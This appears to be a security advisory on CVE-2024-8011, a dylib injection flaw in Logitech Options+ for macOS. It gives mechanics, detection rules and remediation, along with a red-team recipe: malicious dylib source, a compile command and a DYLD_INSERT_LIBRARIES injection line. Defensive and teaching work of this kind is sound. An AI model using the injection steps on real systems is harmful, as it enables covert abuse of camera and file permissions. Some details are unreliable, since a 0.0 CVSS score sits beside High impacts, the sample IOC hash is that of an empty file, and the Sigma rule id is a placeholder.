CVE-2024-8011

Executive Summary

CVE-2024-8011 is a local privilege escalation vulnerability in Logitech Options+ on macOS prior to version 1.72. The vulnerability allows a local attacker to inject a dynamic library (DLL/dylib) into the Options+ runtime process. By abusing the permissions already granted to Options+ by the user—such as camera access—the attacker can escalate privileges and perform unauthorized actions. This is a classic dynamic library injection attack (CWE-114) that leverages the trust relationship between the user and the Logitech application.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native macOS application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs local access to the system
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: High (due to potential for full system compromise via camera and other permissions)

Deep Dive & Mechanics

The vulnerability resides in the Logitech Options+ application for macOS. The application runs with elevated permissions granted by the user (e.g., camera access). A local attacker can exploit the application's runtime environment to inject a malicious dynamic library (dylib). This is achieved by manipulating the application's library loading mechanism, such as through DYLD_INSERT_LIBRARIES environment variable or by placing a malicious dylib in a directory that the application searches for libraries.

Once injected, the malicious library runs within the Options+ process context, inheriting all permissions granted to Options+. This allows the attacker to:

• Access the camera without additional prompts.
• Read/write files that Options+ has access to.
• Potentially escalate to kernel-level access if the application has such privileges.

The attack requires local access to the system, but no special privileges beyond being able to execute code as a standard user.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 1.72): The application does not validate the integrity or origin of dynamic libraries loaded at runtime. It may load libraries from user-writable directories or allow environment variable overrides.

// Example vulnerable loading (pseudocode)
void loadPlugin(const char* path) {
    void* handle = dlopen(path, RTLD_NOW);
    if (!handle) {
        // No validation of path or library signature
        fprintf(stderr, "Failed to load plugin\n");
    }
}

Patched Code (version 1.72+): The application should implement library validation, such as code signing checks, and restrict library loading to trusted directories.

// Example patched loading (pseudocode)
void loadPlugin(const char* path) {
    if (!isPathTrusted(path) || !verifyCodeSignature(path)) {
        fprintf(stderr, "Untrusted plugin\n");
        return;
    }
    void* handle = dlopen(path, RTLD_NOW);
    if (!handle) {
        fprintf(stderr, "Failed to load plugin\n");
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a macOS system running Logitech Options+ < 1.72.
• Ability to write files to a directory accessible by the application.

Exploitation Steps:

1. Craft a malicious dynamic library (dylib):

   // malicious.c
   #include <stdio.h>
   #include <stdlib.h>
   #include <dlfcn.h>
   
   __attribute__((constructor))
   void init() {
       // Execute arbitrary code with Options+ permissions
       system("open /System/Applications/Photo\\ Booth.app");
       // Or access camera, etc.
   }
   

2. Compile the library:

   gcc -dynamiclib -o malicious.dylib malicious.c
   

3. Inject the library into Options+ process:

   • Option A: Use DYLD_INSERT_LIBRARIES environment variable:

     DYLD_INSERT_LIBRARIES=/path/to/malicious.dylib /Applications/Logitech\ Options+.app/Contents/MacOS/Logitech\ Options+
     

   • Option B: Place the dylib in a directory that Options+ loads libraries from (e.g., ~/Library/Application Support/Logitech/Options+/Plugins/).

4. Trigger the injection:

   • Restart the Options+ application or wait for it to load the plugin.

Blue Team

Detection Steps:

1. Monitor for unusual DYLD_INSERT_LIBRARIES environment variable usage.
2. Check for unexpected dylib files in Logitech Options+ plugin directories.
3. Monitor process creation events for Logitech Options+ with suspicious environment variables.

Hunting Queries:

• Look for processes named Logitech Options+ with DYLD_INSERT_LIBRARIES set.
• Check for dylib files in ~/Library/Application Support/Logitech/Options+/Plugins/ that are not signed by Logitech.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.dylib (example): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names:
  • Logitech Options+
• Environment Variables:
  • DYLD_INSERT_LIBRARIES set to a non-standard path
• File Paths:
  • ~/Library/Application Support/Logitech/Options+/Plugins/*.dylib
• Network Connections:
  • Unusual outbound connections from the Logitech Options+ process (e.g., to attacker C2)

Detection Engineering

YARA Rule

rule CVE_2024_8011_Dylib_Injection {
    meta:
        description = "Detects malicious dylib files targeting Logitech Options+"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8011"
    strings:
        $s1 = "Logitech Options+" ascii wide nocase
        $s2 = "DYLD_INSERT_LIBRARIES" ascii wide
        $s3 = "dlopen" ascii wide
    condition:
        uint32(0) == 0xfeedfacf and // Mach-O magic
        ($s1 or $s2 or $s3)
}

Sigma Rule

title: CVE-2024-8011 - Logitech Options+ Dylib Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to inject a dynamic library into Logitech Options+ process
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8011
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/Logitech Options+'
        CommandLine|contains: 'DYLD_INSERT_LIBRARIES'
    condition: selection
falsepositives:
    - Legitimate use of environment variables for debugging
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-8011 - Logitech Options+ Potential C2 Beacon";
    flow:to_server,established;
    content:"Logitech Options+"; http_user_agent;
    sid:1000001;
    rev:1;
    reference:cve,2024-8011;
)

Remediation & Mitigation

1. Update Logitech Options+ to version 1.72 or later.
2. Restrict local access to trusted users only.
3. Monitor for suspicious dylib files in application plugin directories.
4. Use endpoint detection and response (EDR) tools to detect library injection attempts.
5. Apply principle of least privilege to user accounts.
6. Enable macOS System Integrity Protection (SIP) to prevent library injection.

Valters IT
DevSecOps & Cyber Threat Intelligence